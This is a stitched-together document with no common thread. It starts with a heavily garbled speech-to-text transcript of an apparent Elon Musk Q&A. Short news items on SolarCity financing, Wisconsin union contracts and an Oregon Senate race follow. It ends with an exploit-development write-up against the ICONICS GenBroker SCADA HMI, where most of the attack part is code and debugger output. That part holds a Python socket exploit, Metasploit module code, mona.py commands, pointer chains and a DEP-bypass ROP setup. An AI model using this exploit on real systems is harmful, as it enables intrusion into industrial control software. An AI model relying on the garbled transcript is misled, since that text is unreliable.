basic... sort is... um... it is is there a better way to travel quickly from... it's a... downtown L a to downtown Santas to all the latest interest to... them that's better than the... high speed rail listing for parties because... high-speed rail... that the sort of urging a rethink about here is this a better way to do it because the has to grow the scheme proposed... to be the slowest of office was open world and was expensive from while the well... which has... been one of the supposedly what people have liked our internet... has affected... um... that is gets into it... you're thinking this... it sold oppressing sister of... how the something that's... but this was a bullet train will then Intel pointed at enormous cost... and isn't this something better that we could come up with that something betters the Heifer loop... well I think so lovely I don't know what that means yes... I'm... that I wanna run on the gap... I think I can even even if that even if I'm wrong about the... economic assumptions behind the hype believe that you would still be a really fun ride... but even if only one of the DeVore exists today with the really... I... um... since they... claim is not an all male it's... what you get some transport initiates a cross between... a Concord derailed... Concord N derailed... that... but you're not a unit that I don't want to Nielson their decision to make it sound even... more... to do more bizarre... um... if this is cause for Concord a real gun... and there on the table... the... what did that the UAE Oman and the baby somehow the view that one... I... I like the the... the the the the the... okay let's go let's go with... this idea to sit still is and has happened in Atlanta baby we love the way as... each and Maxwell House... since... since you're feeling sale increases to get the when are you planning to take the first people open doors that whether it's the space station or did the lower whenever... she wants to go Afghan yes absolutely and Woolworths were working on... him were conversant to the Dragon spacecraft and to um... in question with with with mass that so this is... that... the masses that NASA the biggest customer... will the rules expected to... transport the offences and... and when we were able to elicit this the first flights in and of people and two to three years... the interview ISI under... my spelling... I know... I'm retiring on Mars that night yet... okay I guess or hear Allison Sheridan's Liikanen I'm in the culinary labor based in saying that we can lead to the camera... um think their presence at AllThingsD a couple years ago I did get a chance to drive the Tesla roadster... was so much time go I scared the guy Dell began their respect um when someone did ask about was we talked a lot here about the theme park to stem education... and training currents that has been suggested that part of our strategy really should be integrates them tight people and I'm just guessing that with your back on the vs an interesting perspective on the... north... all are welcome... what the data... yes... but I do think we've we've we should be read with that many of us some... really talented... the students... at American colleges... it's a busy to send them home will force them to go on and on this this... so that we should have some reform immigration policy that... actually has presence... in our grief for recruiting a mission to collect... but if you if if this company... this is a community working hard to recruit... top people and use the loo and expelling... I'm... going to be crazy so wish that we have summer fall in the front... um... and it doesn't get the benefit of other countries but that of the... Minogue... we should try to have him stay here I think... um... and with that with respect to use to stem in general... to to to prevent there are... exciting technology projects that kids in school... can read about and and... and say ok I've... liked the... artwork will come out of the fun of that... um that is what force people into... the science and technology... um... and like that the biggest thing I've been in history that is... on on the front than it was the top or perhaps... I'm... that led to... the point of any... single thing has been more awful... in controlling kids and that they liked look Laursen sentiment... Allah help make that happen or or or... and and can go beyond that's the... thing I can see this when when to have... them those projects that the kids can read about in one of the part of the school and... and and that will really talking as we just touched on immigration... can you explain... what happened with the... political lobbying effort stir bite marks on her Disney World you worse yet order of the venue... was true along with some others what was that all... yes um... so it would miss a winner is... in a country that are part of the full with... us... because... the... I'd I did with the immigration reform and we need to do but some really critical is to... use them... and I'm there some other things that that... Paulson it's the... the on on the agenda... I'm... so what else was bad and... a bit better I think that... the the the the the methods that were employed there was little too much of the Kissinger s rail politic... unit than that that wasn't... I think we should... try to make things happen for... me to write a reason... and and... and the... and who should or should give in to the cynicism of politics religion and worship but businesses... um... the dividend if it if we... don't defeat... to any instant cards that then... will get political system which is of... the the the the... at the evening cooking... you... can sign in with CNN... you are given the runaway success and reviews of the Model S you have to believe that the other car makers are to be killing four years so I'm wondering... how the companies to keep its competitive edge because you know that success can be a fleeting moment... also when you think that the... electric vehicles will overtake gasoline vehicles and finally wondering if you have a message for the nation's oil companies... um... why I really hope that a... lot of companies... make a concerted effort to create electric vehicles... and hopefully if it has the... pics... competitive electric cars than well deserved to be around and if we don't then we... don't let fear I mean... I'm... you know I'm optimistic that will be a will to... make good products come and... and so far from being concerned about... the car companies coming in and we're actually doing our best to convince them to make collector cars and effects make profits for them... um you know from where they owe us is... so... I hope they... are limited success the Model S a and and that encourages them to... make a big move into electric cars... um... to school in the oil companies... the the the the tricky thing is... the witnesses to the setup because we have... and and high-stakes announced the with the strategy of a common problem with this kid to pass to the ocean snafus fair... the... incentive structure such that... the BBB... Ditto companies how five... it is hard to ask... ask the CEO of an oil company to act against their best interests at best the pain... it... in fact if they do... that that that the might of fire by their... other shareholders... so the of the right things first duty is to change the rules the game so that it can sense the right behavior... um and that's why I'm entered the labor of love a carbon tax is his right way to... go... and... you really don't even have to Mr. we changed enough money that that... a weak lead from far off from the... tax base but... I do think it's sensible to... cope with a disproportionately tax things that are these have all likelihood of being back... to disagree on this level will... tax... tobacco and alcohol... on... the back of the plea is that it is bad and it's well established... fact... when we should... disproportionately taxes Sears commissions... I'm... and the Dominican... but the right to hear will occur... so I mean... the hope of a one-time... condemning the oil... and gas companies... I... the because we're in the the the the current... system and sends them to... to bad behavior... I'm... tax that tax gets passed along go do Consumers Will to Lead Percy coming... no on the city... even if if if if if a man of revenue... being... generated is the same... um it's it's nothing to do for them but... given that we need to collect this a lot of money to pay for the Fed will cover... and... I how we collect that is to get this... defect like that in a wide range of... why brains wasted been effectively what were doing as were saying a portion of somebody slave a... pass to go to federal govern activities... um and... it doesn't... Unisys up in a negatively affect the economy really... how how we collect that money... to me think it... has... been in effect the drought has it's it's the same... since a certain amount of... money collected to pay for the federal government... slice of rebel XT need to change the Mana money race that we need to wait to sport the things that are more likely to be bad... then dumping some more likely be cut... I'm... I guess we'll unwrap have an issue with oil and gas guys is when they entered... this... Sunday's edition nefarious tactics... and to... four things that are somewhat someone insidious... I collect funding academic studies... but he would command point here is the they have... some credibility... I'm... and and and and some prominent professor somewhere... I'm... but the episode such as it has been paid off by the by these... well industry to write that that's done it's the... I'm... so that the capping of sea should be conveying... the content of the strongest words and... I'm... and I'd recommend people read... a book called legends of Dow... the Fed actually... spells out and thinking to tell... how... some these things are going on... we're... Ms... Boyd S history... is... when you choose to create apps and that that that's what they've done effect... but actually employed... looking up of individuals and firms... that were employed by the tobacco industry like a literally the same people... X Prize this research was all around the like... in... the final... um... I... that that that in some cases quickly the same people been employed by lowered estimates for it... I'm ok you get to the specs that... we'll have a couple more quick question... I asked... Jared said that thank you so much for coming on... my classes but stay stocks sell at... even without a fully and properly resemble rocket you still managed to reduce the cost to Orbitz... by the... order of... magnitude or more just with... more... incremental improvements in so... I've... firstly at what point did you feel like this is an opportunity existed in the space feel and act... secondly are there other Carl opportunities in other areas that you wish... somebody else which case even if you don't personally if I get to the mall... for... Stuart to work with us this exit is I think... I thought the most likely outcome was that were fed... I'm... effective but there was really... very likely that with its physics would fail... um... so that... it was really with expectation... of success thus far the company of the state... of... the... the... but what it is clear that we could... make a significant breakthrough was looking at the... but the costs of Iraq and instead of looking at it... with reference to... what other office of costs in the past... a circle whether the rugged made it... one of them choke constituents of what what metals iPhone five or what what what... are the bears which rules the concert erupted... and if you had a palace which bills... are eighty four units with magic one would benefit costs to both... aam and... that is remarkably small number... of... years was maybe... a few percent to one or two percent of what rock it actually cost... to clearly people were doing something silly in time how they were putting the trails together... and so just by eliminating those... this of... course things were able to make profit... for much less... I'm... and... and then then... and... hell was that... he was noticing it with you... one could achieve... for referees bully beat... I'm... because of its gravity is right on the cusp of where that's possible in our hearts when in order to Chevedden really... everything is going to be... done super to the well every aspect the vehicle... I'm... designed to be two or three years ago... the Patriots to about a quarter was actually... up achievable... and to an odd coincidence achievable... but it's... this along with ego between here and there and as mentioned before I was not yet recovered a single rocket stage... so we along with ago... ok I think this lesson the last question... Highland Creek star for cross specific Apple opened up to a question for EIG store perks with its... US headquarters in... when we in nineteen ninety scaled up the Lexus dealership network it was pretty tough... I wanted to get an understanding of what kind of innovation in or bring in terms of the service area... I it generally takes three hundred dealerships to support... five hundred thousand units in... the doing a tremendous job which I admire... and want to understand what year plans are because eventually the middle part the country will begin to understand... the revolution happening... on the east and west coasts... how will you um... make that happen in the dealership network and service... yes well... it's it's it is in fact the last the... performance has been... my main focus that as well... and that it was... if it wants to address our service was ok and... in some cases quite quite back to when asked about that the weird services Tesco... yet we we... I'd say we we had some pretty nine or so the situations probably in mid January... every time frame... busybodies deadly better... I'm... and the... like resemble L a was was a Palm pre teens... for really long time as we will... worse was the threesome is the most open and payments would lean into them to offer one that capacity... aam... says the swatches job... was to break down them was an experience... of it but don't rule... I'm... certain our good will to open things what better... time... but that is contiguous to the words used to scale service... across the country and in its national restructuring in Europe in July... I'm... so get out of the proof that any... the Minibar insights that you probably only Polymetal Wilkinson... it's a bit... it... you could have really good diagnostic schools... do we do have an advantage in that the car... that... has so much intelligence and a killer self diagnostics... and... and and we think we're you know what what what what what needs to... fix the car before giving comes in... I'm so the Stuart to be more efficient and so this... I'm... and a menswear announced recently you is that... I will balding... on... the speed and... will likely have both the sport this the fate of the service loners... so that when if your car... breaks down... what will do several sent out a service of... which are car breaks down... or need so this of... we will... time... to... go to where you are is... to replace it with... what... oh what about awful and cost Atsuko slurs or not... this means that it was there actually... that that awful and talked... I'm... and global sources... that Dell is so slow that were the Arctic your car to get good service and then... an entertainer car when it's done so... the... experience should be really seamless... I'm... and I he's really feel like a... but... you should... you see you've you've got actually an even better car than the one... that you had said this... for some period of time... Anna was nine trough until after the vessel was supportive and Lexus that... did this to some of the ship Lexus says the full ballet thing or not that the... submit that the service Partner... program which was done done really well... the line thank you sell the the the theSome industry analysts suggested that Elon Musk was pushing for Tesla to acquire SolarCity in order for the automaker to help secure financing for a company that consistently requires more cash to provide it services with little to no upfront cost.
But it looks like SolarCity is doing just fine on the capital raising front ahead of the merger as it just secured another $300 million fund for a total close to $1 billion since the board announced it accepted Tesla’s acquisition offer.
Last month, SolarCity announced $305 million in cash equity financing from Quantum Strategic Partners advised by Soros Fund Management, followed by another $347 million through two funds by Citi.
The new $300 million fund is in collaboration with Credit Suisse:
“SolarCity Corp. (SCTY) today announced that it has created a new fund to finance more than $300 million in solar projects with Credit Suisse. The fourth such collaboration between SolarCity and Credit Suisse will allow thousands of homeowners in the U.S. to pay less for solar electricity than they pay for utility bills.”
Tesla and SolarCity shareholders will be voting to approve the merger on November 17. If the proposal is accepted, the money from this fund could be the first used by the new combined companies to install solar and energy storage installations.While Gov. Scott Walker’s getting all the flack in Wisconsin for his anti-labor push, Democrats and union members should remember another name – Russ Decker.
Wisconsin State Journal, December 16, 2010 (pdf):
After 18 months, more than $100 million in concessions, and negotiations that were painfully close to completion, union leaders again find themselves back at the table — and they’re not happy about it.
When outgoing Senate Majority Leader Russ Decker, D-Wausau, reversed course Wednesday night and voted against union contracts for some 39,000 state employees, he doomed unions to continue talks that have already taken longer than any in recent memory.
Union leaders on Thursday expressed anxiety about future labor unrest and rage at the man they say has betrayed them. Decker, a former bricklayer with union ties, voted for the contracts in the Legislature’s joint employee relations committee hours before he cast the deciding vote against them in the Senate.
“Russ Decker is a whore,” said Marty Beil, executive director of the Wisconsin State Employees Union, which represents 22,000 state employees. “Not a prostitute. A whore. W-H-O-R-E."
Decker said the clock had simply run out for the current administration and the matter should be left to the next governor. Beil called the reversal a betrayal.
Behind the rhetoric is a palpable fear of what comes next for unions. New contract negotiations will have to run a GOP gantlet bracketed by Gov.-elect Scott Walker and a hostile Republican Legislature, both of which promise to take a hard line, demanding employees contribute significantly more toward their pensions and health care benefit.Oregon Live reports
Smith spokeswoman Lindsay Gilbride, who last week said that “we do not think Brownlow will impact the race,” said in an e-mail message Friday that “Dave Brownlow is a candidate in this race and voters deserve to know his positions – which are actually quite liberal.”
“I think it is great,” Brownlow said of Smith’s attack on him. “They are scared…He mathematically can’t win this race until he grabs every conservative vote from me.”
The TV ad portrays Brownlow as “just too liberal,” saying he wants to try President Bush for war crimes and abolish prisons. An accompanying radio ad also charges that Brownlow supports gay marriage. Brownlow says he does believe America’s incarceration rate is too high and that he thinks marriage should be turned over to religious authorities. But he says he believes in traditional marriage.
Brownlow is a little-known industrial automation salesman who has spent virtually nothing on his campaign. But polls suggest he could be getting as much as 8 percent of the vote, and there is apparently fear in the Smith camp that many of those votes may be coming from conservatives who would otherwise support the Republican senator.
In a press release emailed to [email protected], the Brownlow campaign responds:
Clackamas, OR – Gordon Smith, desperate to flee from a miserable record of failure rung up during his twelve years in the senate, has launched a media blitz
calling DAVE BROWNLOW, Candidate for U.S. Senate, a “liberal.” The BROWNLOW campaign, which has refused to pay for any radio or TV spots, offers our heartfelt thanks to the Smith folks for the free airtime.
BROWNLOW said, “To be called a ‘liberal’ by one of the biggest spending oath-breakers in the U.S Senate is a rare gift. During Gordon Smith’s failed tenure, the federal budget and debt nearly doubled. The banker buddy/auto maker/Wall Street bailouts were the equivalent of economic terrorism launched against the American people. In just the last six months, Gordon has voted to approve dozens of unconstitutional spending bills that disqualify him from ever serving again in the U.S. Senate. By every indication, Gordon Smith has never even read the Constitution he swore an oath to defend.”
“To the point of the ads; Bush’s two unconstitutional wars (which Smith supported and funded) have led to the deaths of over 100,000 dead Iraqi civilians, and who knows how many dead Afghanis. Are war crimes tribunals in order for those responsible for unleashing this carnage? Absolutely!”
“On prisons, should we be proud that we incarcerate our fellow Americans at a per capita rate over six times greater than the rest of the world? Or, that many of those rotting away in jail are there for non-violent drug and political ‘crimes’? The phony ‘war on drugs’, and the equally phony ‘war on terror’ have taken a terrible toll on our liberties. Ignoring this reality will not make the problem go away.”
“I can certainly understand his desperation. Smith tried to steal Senator Wyden’s endorsement and got slapped down hard. He tried to hang on to the coattails of his old buddy, Barrack Obama, who proceeded to throw him under the bus. Smith blew over $20 million on a juvenile media assault against Jeff Merkley, the other big spending liberal in this race, and he came up looking petty. Smith fought for, and won, an endorsement from a homosexual organization called the Log Cabin Republicans, but now wants to run away from them. Smith’s handlers have discovered the mathematical impossibility of him winning this election unless he takes every conservative vote from me. It looks like he may have waited too long to attempt his extreme makeover.”
“I have been called a lot of names, but ‘liberal’ isn’t one of them. I have called for the complete dismantling of the welfare/warfare state. I have called for a constitutional budget, which would cut federal spending by 85%. I propose that we move Social Security and Medicare back [to] the states and the people. I have called for shutting down the private banking cartel called the Federal Reserve. I have called for abolishing the IRS. I started a pro-life group called Life Support, my motto is “No Abortions, No Excuses”, and I have a couple of trips through our kangaroo court system as proof. My second amendment motto (I received an ‘A’ grade from Gun Owners of America) is ‘the only guns
|
memcpy size for stack to maximize length buffer+= egg buffer+= " B " * (127-len(egg)) #bytes free for sc buffer+= " \xfe " * 140 #needs to be over 7f to get to the call edx buffer+= sc buffer+= " B " * (10000-len(sc)) payload = header + opcode + header2 + header3 + buffer def sploit(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 38080)) print " [+] Kill packet sent!
" s.send(payload) s. close () if __name__ =='__main__ ': try: sploit() except: print " error " sys. exit (0)
The first thing I did was convert our code into a Meta module and test different payloads.
While I could get Bind/Reverse shells to work, meterpreter would not work (there will be more on this later).
At this time this current code will work on both XP and Windows 2003 with DEP disabled or safeseh DEP (processors that do not support Hardware DEP since it’s enabled ON by default on 2003).
We have reliable code execution, but there are 2 issues :
Meterpreter doesn’t work
no DEP bypass
�
Target OS selection, DEP Bypass
Because our target is a HMI application, it’s very likely that we need to write an exploit that will work against Windows XP. Although Windows XP was released back in 2003, it still has the biggest market share of all Windows client operating systems. Especially in the Scada world, XP is still the de facto standard for hosting HMI applications.
We realize that in the default configuration of XP, DEP won’t have a big impact on an exploit that targets the Genesis application, but we will still assume DEP was enabled for all applications and services.
So moving forward, I decided to start with XP with DEP enabled for now (skip 2003 server), and we would revisit the issue with Meterpreter later.
�
Solution III (the last and final one)
If DEP is enabled, we will not be able to use our Venetian shell code (unless we can set up a rop chain using Unicode pointers)
We will need to find another buffer layout, another way to reach code execution.
To this I am going to have to revisit all the tables in GenBroker.exe, and see if there is another function that will allow a different flow.
Also going forward, we will start writing Metasploit code right away since this will be the final module I submit.
After lots of testing and going through each function in the IAT tables I could choose from I finally found something interesting. First lets look at our basic code setup, our skeleton code will look like:
'Windows XP', { 'Ret' => " \x70\x45 ", 'Max' => 9000, } def exploit header = " \x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00 " header << " \x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40 " sploit = target['Ret'] * 180 #retn to call + [EAX + 58] sploit << " \x7f " * 34 #max buffer + max memcpy() sploit << " A " * 128 #buffer on stack sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status(" Sending request. This will take a few seconds... ") sock.put(header + sploit) handler disconnect end
If we take a look at 0x00450070 (and add + 0x08 for our call [EDX + 8]) we see the below IAT address.
00450078. 90F94400 DD GenBroke.0044F990 ; Switch table used at 0044F91B
At 0x44f990 will run through a bunch of functions until we get to:
7C29BC65 E8 CD13FCFF CALL MFC71U.7C25D037
After we single step through that function we come to:
7C25D037 55 PUSH EBP 7C25D038 8BEC MOV EBP,ESP 7C25D03A 51 PUSH ECX 7C25D03B 51 PUSH ECX 7C25D03C 53 PUSH EBX 7C25D03D 56 PUSH ESI 7C25D03E 8BF1 MOV ESI,ECX 7C25D040 F646 18 01 TEST BYTE PTR DS:[ESI+18],1 7C25D044 57 PUSH EDI 7C25D045 0F84 7FE80200 JE MFC71U.7C28B8CA 7C25D04B 8B4E 28 MOV ECX,DWORD PTR DS:[ESI+28] 7C25D04E 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] 7C25D051 8D5E 2C LEA EBX,DWORD PTR DS:[ESI+2C] 7C25D054 8B3B MOV EDI,DWORD PTR DS:[EBX] 7C25D056 2BF9 SUB EDI,ECX 7C25D058 03C7 ADD EAX,EDI 7C25D05A 837E 08 00 CMP DWORD PTR DS:[ESI+8],0 7C25D05E 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX 7C25D061 0F84 6DE80200 JE MFC71U.7C28B8D4 7C25D067 85FF TEST EDI,EDI 7C25D069 0F85 D2E80200 JNZ MFC71U.7C28B941 7C25D06F 8B4E 24 MOV ECX,DWORD PTR DS:[ESI+24] 7C25D072 8B01 MOV EAX,DWORD PTR DS:[ECX] 7C25D074 53 PUSH EBX 7C25D075 8D7E 30 LEA EDI,DWORD PTR DS:[ESI+30] 7C25D078 57 PUSH EDI 7C25D079 FF76 20 PUSH DWORD PTR DS:[ESI+20] 7C25D07C 6A 00 PUSH 0 7C25D07E FF50 58 CALL DWORD PTR DS:[EAX+58]
If we continue to run through this code we end up with an access violation reading [ECX] (which we control)
if we follow the code until 7C25D07E, we see a call to [EAX+58]. Since EAX is populated from reading [ECX], and there doesn’t seem to be unicode conversion involved, this might be very interesting.
Up until now we have seen the “Good” and the “Bad”, but despite the fact that this looks promising, it’s about to get “ugly”.
�
The ‘problem’ – from call [eax+58] to EIP
Looking at the available options, I decided to try to take advantage of the call [eax+58] inside function CArchive::FillBuffer() (mfc71u.dll).� The CArchive Class, as explained on MSDN, allows the developer to save objects in a permanent binary form. These objects persist after the objects are deleted, and can be reconstructed in memory. The process of making data persistent is called “serialization”.
As result of the allocation issues, our payload appears to have overwritten a function pointer / vtable in the heap, which gets copied onto the stack. When the code inside the FillBuffer() function runs, ESI contains a pointer to the stack. Because of the corruption, at ESI+24, we find a pointer to the heap.� At that location in the heap, there is a pointer into our controlled buffer.
From that point on, a series of dereferences allow us to control the call at 0x7c25D07E.� ([ECX] -> EAX -> [EAX+58])
7C25D06F > 8B4E 24 MOV ECX,DWORD PTR DS:[ESI+24] 7C25D072. 8B01 MOV EAX,DWORD PTR DS:[ECX] 7C25D074. 53 PUSH EBX 7C25D075. 8D7E 30 LEA EDI,DWORD PTR DS:[ESI+30] 7C25D078. 57 PUSH EDI 7C25D079. FF76 20 PUSH DWORD PTR DS:[ESI+20] 7C25D07C. 6A 00 PUSH 0 7C25D07E. FF50 58 CALL DWORD PTR DS:[EAX+58]
In normal operation, this routine eventually leads to a call to function MFC71U.#2466 (0x7C286D2D, which is CMemFile::GetBufferPtr()).
There are 2 issues.
First of all, we need to figure out where we want our call to end up.� We have to bypass DEP, so we’ll need some kind of stackpivot that doesn’t just “jmp” to our payload, but rather should return to the first gadget in a rop chain.
Once we figured out what kind of pivot we need, we need to put a pointer at [[ESI+24]], which should eventually lead to running the stackpivot.
In short, based on the instruction flow, we’ll need to find a reliable pointer (ECX) to (pointer – 58) (EAX) to pointer to our stack pivot.
Damn. Finding a pointer to pointer to an instruction is hard enough.
The additional level (depth) and the fact that we need to compensate for the +58 offset doesn’t make things easier. Good luck.
�
Stack layout
First things first. Before trying to find the required pointer, we need to figure out what our options are. The most obvious approach at this point is to look on the stack for either pointers into our controlled buffer, or look for the controlled buffer itself.
This is what the stack looks like right before the CALL [EAX+58] :
0150FABC 7C25D081 Ð%| RETURN to MFC71U.7C25D081 0150FAC0 00000000.... 0150FAC4 41414141 AAAA 0150FAC8 0150FCE4 äüP ASCII " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " 0150FACC 0150FCE0 àüP ASCII " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " 0150FAD0 0150FCB4 ´üP ASCII " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " 0150FAD4 0150FCB4 ´üP ASCII " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " 0150FAD8 0150FCB4 ´üP ASCII " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA " 0150FADC 00000001... 0150FAE0 0150FCB4 ´üP ASCII " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA "
�
The ‘solution’
Mona.py to the rescue!
We control 4 bytes at ESP+8, and we have pointers into our payload below that.� We need to bypass DEP so we should try to return to the 4 bytes at ESP+8. At that location, we’ll have to put in a pointer that would allow us to return into the buffer referenced by one of the pointers on the stack.
Our call [EDX+8] should lead to the first pointer (return to ADD ESP+8).� But because of the offset (+58) and the number of levels deep, it will be very time consuming to do this by hand. Luckily mona.py has a way to automate all of this.
First of all, we need to find all available 8 bytes stackpivots. We will allow OS modules for now, we’ll figure out which ones are good on all versions of XP later on.
!mona stackpivot -n -distance 8,8 -cm rebase=false, os =true
Next, we’ll use the produced file (stackpivot.txt) as input to a recursive find operation, taking the offset into account.
We’ll instruct mona to find all ptr to ptr-58 to ptr to our stackpivots :
!mona find -type file -s " \stackpivot.txt " -cm rebase=false, os =true -x * -offset 88 -level 2 -offsetlevel 2
88 = 0x58
Level 2 means it needs to do 2 recursive searches (so take the found pointers and use them as input for another search)
Offsetlevel 2 means it will take the pointer to look for in the second iteration and subtract the offset from it
-x * : make sure we get all pointers (accesslevel any)
So, the combined stackpivot search and recursive find allowed us to find all possible pointers without a lot of effort.
From the resulting pointers, we picked 0x771a22e4, which is a pointer from oleaut32.dll
At that address, we find 0x7712DCF0 (again from oleaut32.dll)
At 0x7712DCF0+0x58, we find 0x7712DA34, which is our stackpivot (again in oleaut32.dll)
We figured out what location in the buffer the pointer needs to be placed at, so the new metasploit code now looks like this :
def exploit header = " \x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00 " header << " \x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " header << " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40 " sploit = target['Ret'] * 180 #retn to call + [EAX + 58] sploit << " \x7f " * 34 #max buffer + max memcpy() sploit << " A " * 32 #buffer on stack sploit << " C " * 4 #pointer pushed onto stack, will be first ROP, stack pivot sploit << [0x771a22e4].pack('V') #pointer in ECX which will be ptr -> ptr -> ptr for call [EAX+58] sploit << " A " * 88 #buffer on stack sploit << rand_text_alpha(target['Max']-sploit.length) connect print_status(" Sending request. This will take a few seconds... ") sock.put(header + sploit) handler disconnect end
To make sure this is generic, we need to test our pointer 0x771a22e4 on unpatched and patched XP box since we are using an OS module.
PTR 3 or Pointer 3 looks like:
7712DA34 5E POP ESI ; MFC71U.7C25D081 7712DA35 5D POP EBP 7712DA36 C2 0400 RETN 4
All tests were good, apparently we found a reliable pointer that works on all versions of XP!
So let’s now go ahead and see what happens if we run our code with no break points..
Woot! All looks like we’re good to go!
�
�
Rip Rop & Roll
DEP Bypass & Stack Pivot
At this point, we control EIP and we can return to a pointer on the stack.� Below that location, we find pointers into our payload, so we’ll need another pivot to return into that payload. Before we look for that stack pivot we might as well go ahead and see what our options are in terms of setting up a ROP chain.
Because we are targeting Windows XP, we have plenty of functions available to bypass / disable DEP.� The most commonly used method in exploits today is VirtualProtect… but we can also use NtSetInformationProcess() or setProcessDEPPolicy() on XP.
Either way, we need to be able to get a reliable pointer to that function to pull off a reliable DEP bypass/disable ROP chain.
In order to find reliable pointers to “interesting” functions that will assist in bypassing / disabling DEP, I ran “!mona ropfunc”
By default, this function will skip OS modules, rebased and/or aslr modules, and returns this list :
�
0x0084f298 : lstrcpynw | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f258 : getlasterror | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f244 : lstrcpyw | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084fb48 : memmove | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f26c : getmodulehandlea | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f2f0 : loadlibraryw | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f2ac : freelibrary | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f2c0 : loadlibraryexw | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084f2c4 : getmodulehandlew | startnull {PAGE_WRITECOPY} [GenBroker.exe] 0x0084fb10 : strncpy | startnull {PAGE_WRITECOPY} [GenBroker.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v9.21.201.01 (C:\Program Files\Common Files\ICONICS\GenBroker.exe)
�
Hmmm not really encouraging.� I noticed that one of the application modules is located in the windows folder (GenClientU.dll), and thus labeled as an OS module by mistake.� Running a mona ropfunc against that module returns this :
!mona ropfunc -m genclientu.dll
�
0x101620d8 : freelibrary | {PAGE_READWRITE} [GenClientU.dll] 0x10162020 : getlasterror | ascii {PAGE_READWRITE} [GenClientU.dll] 0x101620e0 : loadlibraryw | {PAGE_READWRITE} [GenClientU.dll] 0x101620e4 : getmodulehandlew | {PAGE_READWRITE} [GenClientU.dll] 0x10162888 : memmove | {PAGE_READWRITE} [GenClientU.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v9.21.201.02 (C:\WINDOWS\system32\GenClientU.dll)
Still no good. That means that we need to revert to using an OS module.� One of our goals is to make a reliable exploit that would work on all versions of Windows XP means that we’ll have to cross-check all found pointers again & verify if one of the pointers is reliable across the board.
Hardcoding the pointer to a function is not going to work (kernel32/ntdll are not reliable across patch levels), so we have to find something reliable in the IAT of one of the loaded modules. This is going to be manual work.
First, I enumerated all interesting functions in all loaded modules :
!mona ropfunc -m *
I filtered out all interesting functions (NtSetInformationProcess(), VirtualProtect(), setProcessDEPPolicy(), etc), and together with other Corelan Team members, we cross-checked all pointers on various OS versions.
Despite the fact that every module has differences, we still managed to find a static / reliable pointer to NtSetInformationProcess() in advapi32.dll :
0x77dd1404 : ntdll.ntsetinformationprocess | {PAGE_EXECUTE_READ} [ADVAPI32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5755
We verified that this pointer is reliable on all XP versions… advapi32.dll itself was different, but luckily the base address and location in the IAT was static.
Woot!
We now have a good pointer, but we’ll still need to craft a rop chain using reliable modules only, using the available space.
We won’t be able to use OS modules to do this. Luckily since we discovered GenClientU.dll is not an OS module we will look for our Stack Pivot and ROP chains with that module.
We can go ahead and run
!mona rop –m GenClientU.dll
If we look our stack setup from running our call [EAX + 58] pointer we can see that ESP points to our buffer.
016CFACC 016CFCE0 àül ASCII " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA "
�
If we can find a “POP ESP # RETN” in GenClientU.dll we can return to our buffer. Luckily for us we found one (“rop.txt”).
0x100b257b, # POP ESP # RETN
Let’s go ahead and add that and rerun, our code now looks like:
